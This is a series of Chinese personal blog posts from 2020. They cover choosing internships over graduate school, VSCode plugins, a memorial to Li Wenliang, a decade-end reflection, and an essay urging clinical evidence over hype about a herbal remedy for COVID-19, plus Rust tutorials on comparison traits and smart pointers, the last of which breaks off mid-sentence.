人总会为自己辩解,我自然也要为我自己的选择辩解两句。对不读研这个选择总会有人站出来做各种各样的指摘,诸如「你就是条懒狗」,「你是在逃避」云云。关于「为什么要读研?」这个问题,每个人都有自己的答案。拔高平台,深造能力,缓冲进入社会......以结果为导向进行归因,似乎无外乎分两大类:更好地进入工作和更深得进入领域尖端。后者这种强科研属性自然不在本文讨论范围内,前者的目的既然是为了有更好的工作,如果你想要发展的方向并不强调科研背景(诸如 NLP 等算法岗位),那么在条件允许的前提下提前进入工作环境进行历炼也不失为合理的选择。 上面我有讲到「不强调科研背景的方向」,这个有必要单独说说。如果你投过各类大厂小厂的简历,应该能发现大多数算法的校招 or 实习岗位学历要求都会是硕士起步,但你应该很难见到一个前端岗位的最低学历要求是硕士。如果把一个开发者的学历和经验作为天秤的两端,那么以一言蔽之,如果你期望的工作方向更偏工程,那么一个更丰富的工程实践经历也许在企业的 JD (Job Description)中更被看重,这类岗位可能包括但不一定限于: 前/后端开发 测试/运维开发 架构开发 ...... 如果你期望的工作方向更需要学术背景,那么一个更高的学历,即更深的学术研究也许更被看重,这类岗位可能包括但不一定限于: 机器学习算法 NLP 算法 分布式相关 ...... 是否选择继续读研深造,亦或是提前进入职场积累经验能力,也要通过自己日后想发展的方向来作为考虑因素进行决策。不过有一点需要指出,以上所概括的两个方面在边界上并没有那么清晰:也就不意味着你想要成为一名资深的架构师,学历就一定没有经验重要;不意味着你想成为一名分布式相关领域的从业者一定会被学历这个门槛卡死。修行在个人,无论经验还是学历,都是你个人内在能力的表现,我相信有实力的人一定不会被埋没。 何时开始实习 上面扯了一堆关于选择的过程,接下来说一说如果你已经决定早些工作了,该从何做起。关于这一点我不想做太多说教,说「你该怎么怎么样」这样的话,我就讲一讲自己的实际经历,给大家做一个参考吧。 虽然想要直接工作这个想法由来已久,但是真正下定决心其实还是在去年 9 月份,大三上刚刚开学的时候。眼看着毕业临近,对于一个想要在秋招中一展身手的 CS 专业学生来说,至少有一份实习经历显然是格外重要的。比起一张「白纸」,企业更愿意挑选有点内容的「白纸」。 说实话大三上就开始找实习其实是一个有些冒险,但相应收益会比较高的做法。风险点在于学校的课程安排趋近于收尾,一些比较难的专业课也会集中在这个学期,如何平衡好学习和工作是一个首先要考虑的因素,这一点上我的做法比较粗暴:直接翘课。一是因为成绩也够不着保研的尾巴,无需那么在意绩点,二是因为除了体育课这种比较难逃的课,其他一律统统全翘,只是为了挤出了一周 4 天的实习时长,至于课业,只能安排到工作日下班,周末以及考试临近时的请假进行学习。但即便是翘课,对于一些专业课程还是要用心,比如 OS 以及编译原理等课程,可以说是专业的重中之重,不光学习会接触,在面试以及工作中也是非常核心的内容。好在一个学期下来课虽然都翘了,但最后的结果也不坏,没有顾此失彼而整出来个挂科。 大三上开始实习的收益之所以高,其实来自于「趁早」。如果你本科毕业便打算工作的话,可供你实习的时间其实不长,排除掉课业比较繁重的大一和大二,留给你能实习的时间只有两年。而实习这件事情其实是一件复利的事情,你实习的收获会随着你实习的时长和次数不断增加:你在上一份实习中拓展的能力和积累的经验越多,你的下一份实习越有可能拿到更好更有挑战的 offer。所以不难看出尽早开始寻找实习的重要性:越早开始越能在有限的本科时间内有更多的实习收获。其次,早些开始实习的另一方面好处来源于企业招聘的一些心态。作为廉价劳动力的代表,实习生的性价比其实是随着实习的时长逐渐攀升的。培养一个实习生从熟悉业务到独当一面,就是实习生对一个企业逐渐价值最大化的过程,试想,一个实习生如果能干一个正式工 1/2 的活,且还只用拿不到正式工零头的工资,何乐而不为呢?故而在其他各类条件(学历,能力等)相差无几的情况下,公司其实是会更倾向于雇佣离毕业时间更远的候选人的。当然,如上所述仅限日常实习生,如果是春秋招,企业显然是在考虑更长远的候选人价值,毕竟很多像阿里,腾讯这样的大厂用的都是正式工 HC,无法再单纯地用日常实习的价值模型去衡量一个人。但既然我是选择大三上就开始实习,显然不会去和同期的秋招凑热闹,所以我在简历投递时寻找的都是日常实习岗位。 怎样寻找实习 这一点其实因人而异,你擅长怎样的技术栈,想望哪个方向发展决定了你要投递的岗位。我个人是因为做过一些 Web 开发,所以对这一块还算是能够应付,也想着自己不要一上来就好高骛远,所以在投递时主要寻找的是后端开发相关岗位。 关于投递的渠道,了解讯息首选当然是各大企业的招聘官网/公众号,不过在上面投递简历,一旦最初投递的岗位被刷,就相当于把简历放入了一个海量备胎池中,运气好被某个部门某个方向相中捞起,运气不好还会遇到简历的冻结期,无法再投。再加上有些大厂的官网日常实习几乎没有任何信息(说的就是你,阿里),就算有,很可能也是一些非常笼统的岗位描述,无法让你自由的选择具体部门方向,所以我个人不建议通过官网投递寻找日常实习。 关于找岗位的渠道,首推北邮人论坛的「兼职实习信息」板块,我 2/3 的实习工作都是通过北邮人论坛的内推贴找到的。一是基本上在这里发贴的都是直接来自各个部门岗位的技术或者 HR,其中不乏很多校友学长学姐,渠道比较直通,信息也比较丰富细化,有什么问题可以直接沟通,时效性也很及时,几乎每天都会有大量的岗位更新发帖,大厂居多,北邮人论坛的存在再次彰显了北邮人互帮互助的魅力...... 其次也推荐使用实习僧或者 BOSS 直聘这类 App 进行岗位搜索投递,理由与上面相同,直通,细化且丰富。但由于平台比较大众,鱼目混珠,需要大家多进行一些筛选。 怎样通过面试 由于是日常实习,所以基本不会设有像春秋招那样的统一笔试环节,但这一点也不一定,具体会取决于你的简历和不同公司的面试风格。如果你的简历上项目经历比较匮乏,可能难免会让面试官多使用做算法题这样的方式考察能力,如果简历上项目经历写的比较丰富,可能面试官会着重对你的既往经验进行询问交流,从中发掘你的闪光点。 但像数据结构,操作系统,计算机网络以及数据库这些基础中的基础还是非常重要。实习生招聘中的不同能力面的权重,在我面试了这么多家公司以后,大概有如下感受:基础知识 >> 项目经历 > 算法。再次强调,这个权重只是相对而言,不代表算法就一定不重要,对于很多公司来说,面试中的手撕算法环节可能是你通过面试的敲门砖或者底线。具体一些的经历,结合第一份字节跳动实习 offer 来讲。总的来说字节的面试风格比较硬朗,一般分 3 到 4 次面试(包括 HR 面),连续性很强,很多部门基本上一天就能走完所有流程,当天便可知道自己的面试结果,比起吊着你还一直不给你拒信的公司(说的就是你,阿里云),可以说是非常友好了。「手撕算法」这个可以说是字节面试特色了(估计也是从硅谷巨头那里抄来的一套),在聊基础知识和聊项目的同时,穿插着给你来几道从 Easy 到 Medium 不等的数据结构+算法题,较简单的题目一定要快速手写出来,至少通过面试官的人脑编译。比较有难度的题目即便写不出来,面试官也会及时给你引道,听听你的思路。整个过程难度中上,需要针对性地对算法做一些准备,基础知识其次。 关于更多的面试技巧,满打满算我也是面试过十几家大小公司的人了,其中或多或少也有一些总结出来的心得体会,由于篇幅限制不打算放在本文中,日后也许会单独就此写一篇来做分享。 写在最后 工作 or 读研的选择不是一道有确定解的简单问题。无论是成为高学历人才的社会共识,还是你的职业规划或个人喜好,在这其中扮演最重要角色的我认为永远是最后一个。在条件允许的范围内,一定要做自己喜欢做的事情。根据我有限的人生经验,为了一些身外之物而选择去做自己不想做之事,是一件相当痛苦的事情。所以当你在某些选择面前摇摆不定时,不如停下来问问自己的内心,你到底喜欢什么?然后去做自己感兴趣的,自己喜欢的。 最后祝大家都能在自己选择的道路上一路顺风,功成名就,共勉。

2020/5/29
articleCard.readMore

几个实用的 Visual Studio Code 插件推荐

抛弃各种 IDE 和 Sublime Text 投向 VSCode 的怀抱已经很久了,在这里分享几个我非常喜欢且很实用的插件。 Git Blame 插件地址:Git Blame 团队 Git 项目中,git blame 这个命令相信大家都不陌生,在找黑锅(误)查 bug 的时候查看某文件里某行代码最后的改动是由谁在何时做出显得尤为重要。Git Blame 这个插件可以在光标选中某行的同时直接在 VSCode 的下方显示作出改动 commit 的人和时间,直接点击还可跳转对应的 commit 地址,非常方便。 Git History 插件地址:Git Blame 图形化展示 Git 版本变迁的一个插件,可以具体到查看某个分支的某次 commit 做出了那些改动。 还可以在 VSCode 中直接展示与本地文件或前一版文件的区别,直观性拉满。 Bracket Pair Colorizer 插件地址:Bracket Pair Colorizer 虽然 VSCode 自带高亮匹配对应括号的功能,但因为括号之间并没有颜色区分,在括号较多的情况下,想一眼分清匹配括号所在还是有点难度。Bracket Pair Colorizer 插件顾名思义,就是给不同对的括号间标上不同的颜色,帮助你进行定位和区分,效果如下图所示。 对于同一代码块的外围,Bracket Pair Colorizer 还会对应颜色的分割线,帮助你区分代码的层级关系。 Bracket Pair Colorizer 的默认颜色只有几个,如果你喜欢花里胡哨的效果,可以自己添加几个颜色。我的设置如下,你可以根据自己的喜好和主题进行定制。 "bracket-pair-colorizer-2.colors": [ "Green", "Pink", "Gold", "Orchid", "LightSkyBlue", "Red", "Purple", "Orange", "Salmon" ], "bracket-pair-colorizer-2.forceIterationColorCycle": true, "bracket-pair-colorizer-2.forceUniqueOpeningColor": true rust-analyzer 插件地址:rust-analyzer 如果你写 Rust 的话,VSCode 插件商店里有一个名为 Rust Server Language 的插件支持提供各类补全,然而实际使用下来体验并不友好,经常出现不全甚至不出的现象。经过友人推荐,找到了 rust-analyzer。虽然还在 WIP 状态,但实际体验已经非常友好,补全分析和函数签名提示都非常流畅。安装需要先在本地进行编译运行,VSCode 插件会在过程中自动载入,而后就可以开始愉快的 Rust 起来了。 体验到现在唯一的缺点是,由于需要本地进行语法分析以提供 Language Server 的功能,所以如果你的网络不好导致 cargo 更新缓慢或者 build 过程中卡了壳,此时整个编辑器会卡住没法输入任何东西,希望 rust-analyzer 日后能更新做出一些改善。

2020/2/23
articleCard.readMore

纪念李文亮医生

能。 明白。

2020/2/15
articleCard.readMore

A decade passed…where did that bring you?

You could not live with your own failure. Where did that bring you? Back to me… ——Thanos 之所以要用一个英文标题,只是因为在提笔时突然想到了 Thanos 在复联 4 中的这句台词。 ——我 虽然只是漫长人生中又一个 365 天的结束,但 2020 年的到来多少还是有一点特别——至少这第一个让我有实感的,一个时代的结束。十年有多长?长到足以让我年龄的十位从 1 变成 2,长到让我读完初中,高中并步入大三,长到让我有机会谈一场长达五年的恋爱,长到让我完成了很多曾向往的事,长到让我也足以做出不计其数的选择……写不动排比了,十年太长,回忆起来有点累。 翻看了自己前几年零零碎碎写的年终总结,有一种意外的陌生感,倒不是陌生我本人,只是对文章中那股于未来充满企望的热情有点陌生。再三确定这不是现在的我在故作深沉,矫揉造作之后,我倒有所释然,可能这就是所谓长大了(这种话现在是可以说的对吧,我特么都 20 了)。 再翻了翻自己的其他文章,发现这些年显著增多的其实是技术相关的文章,虽然也没多几篇,但还是我主动去尝试做出的一个变化,说起来原因其实还有点功利,毕竟马上就要毕业了,多少得经营一点关于程序员人设的内容,好作为个人能力的一种轻微佐证。长久以来我一直把博客当成一个自说自话,畅所欲言的树洞,不期望有很多人能看到(其实还是很希望的,自我表达欲不允许我在这一点上撒谎),我在个人博客存在的意义这篇文章中探讨过相关观点,写博客就像是在经营自己的一个花园,行人偶尔一瞥带来的赞赏,可能比人来人往的参观更有意义和令人满足。 前面提到毕业的事情,终于,我快要结束了一个从幼儿园开始的漫长求学生涯。这一路上得到的成绩并非总是理想,尤其是大学,主要原因还是我太懒,虽然说这样的话难免会让人觉得我有开脱之嫌,但我不得不承认我是真的不喜欢学习,确切的说,是不喜欢为应试所做的学习。当年之所以选择读计算机,完完全全出于爱好,我非常喜欢这个领域,非常享受写代码这样一个可以通过思考进行直观而又优雅之创造的过程,尤其是在 19 年年底拿到了自己人生中第一份实习 offer 之后,经过几个月的工作生活,我更加确定了我更喜欢在实践中进行探索,进行自我提高的方式,也坚定了自己所选所想,自然而然,考研这件事从一个对我来说虚无缥缈的概念终于彻底转变为了一个被排除在外的选项,二十一年了,终于可以第一次主动对应试教育说不,我将此自诩为一种胜利。 根据大家对「年终总结」这种东西的刻板印象,一般写到这里总要列一列各种「我心目中的 Top 10」。我再三尝试过后,选择了放弃。做不出所谓的 Top List 不是因为每一个都很喜欢,或每一个都不喜欢,只是觉得很难量化地给情绪打上各种各样的标签,“最让我xx的十部电影”,“最让我xx的十本书”,很枯燥,也很无聊,没有人设身处地的和你一起体会在观影阅读时的各种共情同理时刻,仅凭一个 List 就想打动别人,说服别人,实在是有些天真。 本来想写一个「时代总结」,但当我开始回忆十年前时,我竟发现记忆是如此的模糊。也是,十年前我还在上小学,十年前我还没有开始写博客,十年前我还没有认识大多数人,十年前我还没有做很多事,十年前我还很单纯(现在也挺单纯的,张艺柯经常说我幼稚)。 「我每天都问自己,今天的我比昨天更博学了吗?」这句来自《奇葩说》,来自杨齐函,听起来甚至有些扎耳的话,却让我产生了一种略微神往的热血感。十年,在时间这个不可逆转的线性过程中,我一直在试图保持自身的「线性」,我希望我的能力,我的优秀,我的成长是一个关于时间的增函数,保持一阶导数永不为负。几年前曾陷入过对自己的怀疑,但好在我有永远支持我的父母, 永远在我身旁的她,有那么几个比我有心有肺多的朋友,我才走到了如今的所思所在。 遥记前几年中文 Twitter 移动网页版的推文输入框有这样一句 placeholder: 眼见何事,情系何处,身在何方,心思何人? 下一个十年,我又会走到哪里?

2020/2/2
articleCard.readMore

Rust 常见内置 Traits 详解(一)

本文为《Rust 内置 Traits 详解》系列第一篇,该系列的目的是对 Rust 标准库 std::prelude 中提供的大部分内建 Traits 以适当的篇幅进行解释分析,并辅之以例子(多来自官方文档),旨在帮助读者理解不同 Traits 的使用场景,使用方式及其背后的原因。 本篇作为试水,将包括几个简单的 Traits,均来自于 std::cmp Eq & PartialEq Ord & PartialOrd Eq & PartialEq Eq and PartialEq are traits that allow you to define total and partial equality between values, respectively. Implementing them overloads the == and != operators. 这两个 Traits 的名称实际上来自于抽象代数中的等价关系和局部等价关系,实际上两者的区别仅有一点,即是否在相等比较中是否满足反身性(Reflexivity)。 两者均需要满足的条件有: 对称性(Symmetry):a == b 可推出 b == a 传递性(Transitivity):a == b 且 b == c 可推出 a == c Eq 相比 PartialEq 需要额外满足反身性,即 a == a,对于浮点类型,Rust 只实现了 PartialEq 而不是 Eq,原因就是 NaN != NaN。 PartialEq 可使用 #[derive] 来交由编译器实现,这样一个 struct 在进行相等比较时,会对其中每一个字段进行比较,如果遇到枚举,还会对枚举所拥有的数据进行比较。你也可以自己实现自己的 PartialEq 方法,例子如下: enum BookFormat { Paperback, Hardback, Ebook } struct Book { isbn: i32, format: BookFormat, } impl PartialEq for Book { fn eq(&self, other: &Self) -> bool { self.isbn == other.isbn } } 实现时只需要实现 fn eq(&self, other: &Self) -> bool 判断是否相等的函数,Rust 会自动提供 fn ne(&self, other: &Self) -> bool。 实现 Eq 的前提是已经实现了 PartialEq,因为实现 Eq 不需要额外的代码,只需要在实现了 PartialEq 的基础上告诉编译器它的比较满足反身性就可以了。对于上面的例子只需要:#[derive(Eq)] 或 impl Eq for Book {}。 Ord & PartialOrd Ord and PartialOrd are traits that allow you to define total and partial orderings between values, respectively. Implementing them overloads the <, <=, >, and >= operators. 类似于 Eq,Ord 指的是 Total Order,需要满足以下三个性质: 反对称性(Antisymmetry):a <= b 且 a >= b 可推出 a == b 传递性(Transitivity):a <= b 且 b <= c 可推出 a <= c 连通性(Connexity):a <= b 或 a >= b 而 PartialOrd 无需满足连通性,只满足反对称性和传递性即可。 反对称性:a < b 则有 !(a > b),反之亦然 传递性:a < b 且 b < c 可推出 a < c,== 和 > 同理 Ord & PartialOrd 均可通过 #[derive] 交由编译器自动实现,当使用 #[derive] 实现后,将会基于 struct 的字段声明以字典序进行比较,遇到枚举中的数据也会以此类推。可以注意到 Ord & PartialOrd 的性质要求会进行等于的比较,所以有以下对 Eq & PartialEq 的依赖要求: PartialOrd 要求你的类型实现 PartialEq Ord 要求你的类型实现 PartialOrd 和 Eq(因此 PartialEq 也需要被实现) 实现 PartialEq,PartialOrd 以及 Ord 时要特别注意彼此之间不能有冲突。 use std::cmp::Ordering; #[derive(Eq)] struct Person { id: u32, name: String, height: u32, } impl Ord for Person { fn cmp(&self, other: &Self) -> Ordering { self.height.cmp(&other.height) } } impl PartialOrd for Person { fn partial_cmp(&self, other: &Self) -> Option<Ordering> { Some(self.cmp(other)) } } impl PartialEq for Person { fn eq(&self, other: &Self) -> bool { self.height == other.height } } 实现 PartialOrd 需要实现 fn partial_cmp(&self, other: &Self) -> Option<Ordering>,可以注意到这里的返回值是个 Option 枚举,之所以如此是要考虑到与 NaN 作比较的情况: let result = std::f64::NAN.partial_cmp(&1.0); assert_eq!(result, None); 完成后会为为你的类型提供 lt(),le(),gt() 和 ge() 的比较操作。 而实现 Ord 需要实现 fn cmp(&self, other: &Self) -> Ordering,完成后会为你的类型提供 max() 和 min()。在目前的 Nightly 版本中,实现 Ord 还会提供一个 clamp() 函数,用来比较类型是否在某个区间中。 #![feature(clamp)] assert!((-3).clamp(-2, 1) == -2); assert!(0.clamp(-2, 1) == 0); assert!(2.clamp(-2, 1) == 1);

2020/2/1
articleCard.readMore

当我反对中医时,我在反对什么?

一觉起来,双黄连可以「抑制」新型冠状病毒的新闻铺天盖地袭来,继而许多人连夜聚集排队购买双黄连的图片也出现在网路之上。究其源起,是一则来自人民日报的微博。 【上海药物所、武汉病毒所联合发现:双黄连可抑制新型冠状病毒】31日从中国科学院上海药物所获悉,该所和武汉病毒所联合研究初步发现,中成药双黄连口服液可抑制新型冠状病毒。此前,上海药物所启动由蒋华良院士牵头的抗新型冠状病毒感染肺炎药物研究应急攻关团队,在前期SARS相关研究和药物发现成果基础上,聚焦针对该病毒的治疗候选新药筛选、评价和老药新用研究。双黄连口服液由金银花、黄芩、连翘三味中药组成。中医认为,这三味中药具有清热解毒、表里双清的作用。现代医学研究认为,双黄连口服液具有广谱抗病毒、抑菌、提高机体免疫功能的作用,是目前有效的广谱抗病毒药物之一。上海药物所长期从事抗病毒药物研究,2003年“非典”期间,上海药物所左建平团队率先证实双黄连口服液具有抗 SARS 冠状病毒作用,十余年来又陆续证实双黄连口服液对流感病毒(H7N9、H1N1、H5N1)、严重急性呼吸综合征冠状病毒、中东呼吸综合征冠状病毒具有明显的抗病毒效应。目前,双黄连口服液已在上海公共卫生临床中心、华中科技大学附属同济医院开展临床研究。(新华社)微博链接>> 此举很难不让人想起曾经所谓板蓝根可以「防治」SARS 的论述。然而时至今日,17 年过去了,依旧没有有关板蓝根实际疗效的临床验证。尽管常见各类不良反应的报道,并且缺乏科学的实验设计来验证其有效性和毒副作用,但你依然可以轻而易举地在药店买到这种药物并服用。相关资料>> 在展开对双黄连,板蓝根,或是所有中药和中成药是否有用,是否在科学的实验论证下证实其确有疗效并明确毒理,药理的质疑前,我想先来讲讲,在现代循证医学的科学背景下,一个药物(常说的「西药」)从被发明出来到大规模上市用于临床治疗,需要经过怎样的阶段,并在这些阶段中分别需要得到怎样的验证。 临床试验(英语:Clinical trial)是一种根据研究方案利用 已上市药物 或 安慰剂 作为 对照组 的方式,对 药物 或其他 医学 治疗在受试者身上进行比较测试的过程。在临床试验中,研究者要先决定所要测试的疗法,例如药物或装置,再决定用哪种疗法与它比较,以及须要找哪一类型的病人来作为测试对象。治疗用药物的话要证明它能有效延长病人的生命、减轻特定症状或降低不良事件之发生以改善病人生活品质。维基百科>> 通常一个药物在被证明有效并安全上市之前后,需要经过这么几个阶段。 动物试验 一期临床试验 二期临床试验 三期临床试验 四期临床试验 动物试验无需多言,例如为了直接证明某种疫苗的有效性,显然不可能直接在人身上试验,而在动物身上试验,例如试验用猴子,就成了直接有效初步证明药物有效的手段,同时在这个阶段,实验人员也会收集很多数据以支持后期临床试验的开展。 Ⅰ期临床试验也称临床药理和毒理作用试验期。其是对已通过临床前安全性和有效性评价的新药在人体上验证其安全性。即是根据预先设计的计量,从初始安全剂量开始,逐渐加大,观察人体对该种新药的耐受程度,以确定人体可接受而又不会导致 毒副反应 发生的剂量大小。之后将进行多次给药试验,以确定适合于Ⅱ期临床试验所需的剂量和程序。同时,还必须进行人体的单剂量和多剂量的 药动学 研究,以为Ⅱ期临床试验提供合适的治疗方案。Ⅰ期临床试验通常由健康的 志愿者 参与。在 抗癌药物 开发研究中也允许少数患者参与初步实验。一般而言,Ⅰ期临床试验总共需要试验10~80个病人。 Ⅱ期临床试验也称临床治疗效果的初步探索试验。即是用较小总体的选定适应证的患者,对药物的疗效和安全性进行临床研究,其间将重点观察新药的治疗效果和 不良反应 。同时,还要对新药的 药动学 和 生物利用度 方面进行研究,以确定患者与健康人的药动学差异。Ⅱ期临床试验的主要目的是为Ⅲ期临床试验做准备,以确定初步的 临床适应症 和治疗方案。Ⅱ期临床试验总共需要试验100-200个病人。对照组的病人愈多那便能更进一步找到非常见的副作用。 Ⅲ期临床试验也称治疗的全面评价临床试验。即是在对已通过Ⅱ期临床试验确定了其疗效的新药,与现有已知活性的药物或无药理活性的 安慰剂 进行 对照试验 。该期试验对于患者的选择非常严格,其还必须具有明确的疗效标准和安全性评价标准。新药在经过对照试验后,将对其疗效和安全性进行全面的评价,以判断其是否具有 治疗学 和安全性特征,这决定着其是否能够批准上市销售。Ⅲ期临床试验总共需要试验个300-500病人,最少要测试100次,否则统计学上会有误差,对照组的数量则无具体规定。 Ⅳ期临床试验也称药物推出后的临床监察期。即是在新药推出后,通过大量调查药物对病人的临床效果及情况,监视新药有无效,如何最好地使用以及副作用的发生机会和程度。若疗效不理想或出现严重的副作用而且发生率较高,管制部门则会将那新药召回和退市。第4期临床试验会一直进行,只要仍有很多人用这种药物。 由于事关一个人,一个病人的生命健康和生活品质,药物的作用原理,毒副作用,有效性,安全性等等诸多因素均需要在临床试验中被科学的检验通过,方可上市造福广大患者。任何一个环节的疏忽,都有可能带来灾难性的后果。此时回看人民日报所言的最后一句话:「目前,双黄连口服液已在上海公共卫生临床中心、华中科技大学附属同济医院开展临床研究。」一个才刚刚开始进行临床研究的药物,为何就被冠之以可以「有效抑制」新型冠状病毒的名号?请问这其中的作用原理为何?实验设计为何?经过了怎样的检验?在药物有效性上仅仅给出如此模棱两可的回答,实在是让人难以接受。丁香医生关于双黄连的相关辟谣>> 事实上,也有记者就此事采访询问了上海药物研究所,我摘出了其中几个回答,列举在下,完整的采访链接在此,建议阅读。采访原文链接>> 问:双黄连这个事情是真的吗? 答:对,有抑制作用是初步发现,初步发现对病毒有抑制。 问:早期服用能控制病毒吗?早期服用会有好处吗? 答:目前还没有这么详细的研究,因为我们只是在武汉病毒所做了一个初步的验证。 问:可以抑制病毒的说法是准确的嘛? 答:对对对,但也不能太拔高,因为这个科学的事情我们不想说得太过。 问:目前还在临床研究阶段吗? 答:是这样,我们后续会在上海市临床医学(研究)中心做一些实验,因为双黄连本身就是上市的药物,但是对病人如何有效,我们还要做大量的实验。 如此的专业性,怎能让人不质疑,怎能让人安心? 每当中医被质疑时,总有人会做出包括但不限于以下几个的反驳 我的 XXX 病就是中药医好的,你怎么解释? 要是没有中医,你的老祖宗早就死完了,还哪来的你? 你说中医没用,说中医无效,那你倒是拿出证据来啊? 国家都在扶持中医,开设中医院校,中医医院,难道都是笑话吗? ……. 很遗憾,上述的每一种说法都站不住脚,有大量的漏洞,鉴于篇幅限制我不想一一列举反驳,但是我想讲一讲我个人对中医到底是什么样的态度。 每当我们讲到中医时,总是不自觉的拿西医作比较,虽然我不想玩文字游戏,但不得不承认这种论述在表达上显然是有问题的。中医和西医的区别,绝不仅仅是地理上的区别,即所谓中国的,东方的医学和外国的,西方的医学。大多数时候,我们所言中医和所认识的中医是指中国古传统医学,是落后的,陈旧的,我固然不否认中医学科在当下所作的现代化,科学化之努力,但是难以否认的是中医依然是基于经验主义的医学,其基础理论为形而上的,缺乏科学理论支持,并难以实证的诸如五行脏象,气血经络之说。维基百科「中医学」定义>> 而我们常说的「西医」,其真名应该为循证医学,又称实证医学,是一种医学诊疗方法,强调应用完善设计与执行的研究证据将决策最佳化。无论是应用在医学教育,个人决策,适用于群体的指引和政策,还是一般健康服务的管理,循证医学都主张决策和政策皆应尽可能根据证据,而非单单依据从业人员、专家或管理者的信念。因此,它试图确保临床医师的意见(可能受限于知识差距或偏误),有基于科学文献的所有可用知识补足,保证服务为最佳诊疗 。它提倡使用正式且明确的方法来分析证据,并提供给决策者。它推动课程向医学生、从业人员和决策者传授这个方法。维基百科「循证医学」定义>> 任何一个生在 21 世纪的人,一个接受了良好科学教育,拥有基本科学素养,有基本批判性思维的理性人,都应该认识到中医理论在科学发展之下的局限性,并且主动拥护循证医学,我从来不反对接受中医使用中医,而是反对把中医和西医作为平起平坐,在当下中国分庭抗礼的两种医学;我从来不认为中药是完全无效的,而是反对在缺乏科学实证的情况下将其用于临床,甚至广泛宣扬;我从来不认为中医治疗手段是完全不可取的,而是反对放弃现代医学治疗手段而完全诉诸于前者;我从来不认为中医是没有意义的,而是反对不以科学的眼光重新审视中医之精华的论述。 关于最后一点我想有一个实例可以扩展,1969年-1972年间,中国科学家屠呦呦领导的 523 课题组 发现并从 黄花蒿 中提取了青蒿素,使其成为现今所有药物中起效最快的抗恶性疟原虫疟疾药,而黄花蒿作为中草药治疗疟疾的手段在中医中古已有之。试想,还有多少草药中也许还有类似青蒿素一样可以造福人类的物质,以科学的手段发掘背后的原理,是否才是对中医,对现代医学合理的改进手段? 推荐阅读&聆听 中医是否是科学?应该如何看待中医? 太医来了播客 #123 再论中西医之争 太医来了播客 #111 循证医学是目前解决医学问题的最好方法 太医来了播客 #85 我们的中医观

2020/2/1
articleCard.readMore

Rust 中几个智能指针的异同与使用场景

想必写过 C 的程序员对指针都会有一种复杂的情感,与内存相处的过程中可以说是成也指针,败也指针。一不小心又越界访问了,一不小心又读到了内存里的脏数据,一不小心多线程读写数据又不一致了……我知道讲到这肯定会有人觉得“出这种问题还不是因为你菜”云云,但是有一句话说得好:“自由的代价就是需要时刻保持警惕”。 Rust 几乎把“内存安全”作为了语言设计哲学之首,从多个层面(编译,运行时检查等)极力避免了许多内存安全问题。所以比起让程序员自己处理指针(在 Rust 中可以称之为 Raw Pointer),Rust 提供了几种关于指针的封装类型,称之为智能指针(Smart Pointer),且对于每种智能指针,Rust 都对其做了很多行为上的限制,以保证内存安全。 Box<T> Rc<T> 与 Arc<T> Cell<T> RefCell<T> 我在刚开始学习智能指针这个概念的时候有非常多的困惑,Rust 官方教程本身对此的叙述并不详尽,加之 Rust 在中文互联网上内容匮乏,我花了很久才搞清楚这几个智能指针封装的异同,在这里总结一下,以供参考,如有错误,烦请大家指正。 以下内容假定本文的读者了解 Rust 的基础语法,所有权以及借用的基本概念,这里是相关链接。 Box<T> Box<T> 与大多数情况下我们所熟知的指针概念基本一致,它是一段指向堆中数据的指针。我们可以通过这样的操作访问和修改其指向的数据: let a = Box::new(1); // Immutable println!("{}", a); // Output: 1 let mut b = Box::new(1); // Mutable *b += 1; println!("{}", b); // Output: 2 然而 Box<T> 的主要特性是单一所有权,即同时只能有一个人拥有对其指向数据的所有权,并且同时只能存在一个可变引用或多个不可变引用,这一点与 Rust 中其他属于堆上的数据行为一致。 let a = Box::new(1); // Owned by a let b = a; // Now owned by b println!("{}", a); // Error: value borrowed here after move let c = &mut a; let d = &a; println!("{}, {}", c, d); // Error: cannot borrow `a` as immutable because it is also borrowed as mutable Rc<T> 与 Arc<T> Rc<T> 主要用于同一堆上所分配的数据区域需要有多个只读访问的情况,比起使用 Box<T> 然后创建多个不可变引用的方法更优雅也更直观一些,以及比起单一所有权,Rc<T> 支持多所有权。 Rc 为 Reference Counter 的缩写,即为引用计数,Rust 的 Runtime 会实时记录一个 Rc<T> 当前被引用的次数,并在引用计数归零时对数据进行释放(类似 Python 的 GC 机制)。因为需要维护一个记录 Rc<T> 类型被引用的次数,所以这个实现需要 Runtime Cost。 use std::rc::Rc; fn main() { let a = Rc::new(1); println!("count after creating a = {}", Rc::strong_count(&a)); let b = Rc::clone(&a); println!("count after creating b = {}", Rc::strong_count(&a)); { let c = Rc::clone(&a); println!("count after creating c = {}", Rc::strong_count(&a)); } println!("count after c goes out of scope = {}", Rc::strong_count(&a)); } 输出依次会是 1 2 3 2。 需要注意的主要有两点。首先, Rc<T> 是完全不可变的,可以将其理解为对同一内存上的数据同时存在的多个只读指针。其次,Rc<T> 是只适用于单线程内的,尽管从概念上讲不同线程间的只读指针是完全安全的,但由于 Rc<T> 没有实现在多个线程间保证计数一致性,所以如果你尝试在多个线程内使用它,会得到这样的错误: use std::thread; use std::rc::Rc; fn main() { let a = Rc::new(1); thread::spawn(|| { let b = Rc::clone(&a); // Error: `std::rc::Rc<i32>` cannot be shared between threads safely }).join(); } 如果想在不同线程中使用 Rc<T> 的特性该怎么办呢?答案是 Arc<T>,即 Atomic reference counter。此时引用计数就可以在不同线程中安全的被使用了。 use std::thread; use std::sync::Arc; fn main() { let a = Arc::new(1); thread::spawn(move || { let b = Arc::clone(&a); println!("{}", b); // Output: 1 }).join(); } Cell<T> Cell<T> 其实和 Box<T> 很像,但后者同时不允许存在多个对其的可变引用,如果我们真的很想做这样的操作,在需要的时候随时改变其内部的数据,而不去考虑 Rust 中的不可变引用约束,就可以使用 Cell<T>。Cell<T> 允许多个共享引用对其内部值进行更改,实现了「内部可变性」。 fn main() { let x = Cell::new(1); let y = &x; let z = &x; x.set(2); y.set(3); z.set(4); println!("{}", x.get()); // Output: 4 } 这段看起来非常不 Rust 的 Rust 代码其实是可以通过编译并运行成功的,Cell<T> 的存在看起来似乎打破了 Rust 的设计哲学,但由于仅仅对实现了 Copy 的 T,Cell<T> 才能进行 .get() 和 .set() 操作。而实现了 Copy 的类型在 Rust 中几乎等同于会分配在栈上的数据(可以直接按比特进行连续 n 个长度的复制),所以对其随意进行改写是十分安全的,不会存在堆数据泄露的风险(比如我们不能直接复制一段栈上的指针,因为指针指向的内容可能早已物是人非)。也是得益于 Cell<T> 实现了外部不可变时的内部可变形,可以允许以下行为的发生: use std::cell::Cell; fn main() { let a = Cell::new(1); { let b = &a; b.set(2); } println!("{:?}", a); // Output: 2 } 如果换做 Box<T>,则在中间出现的 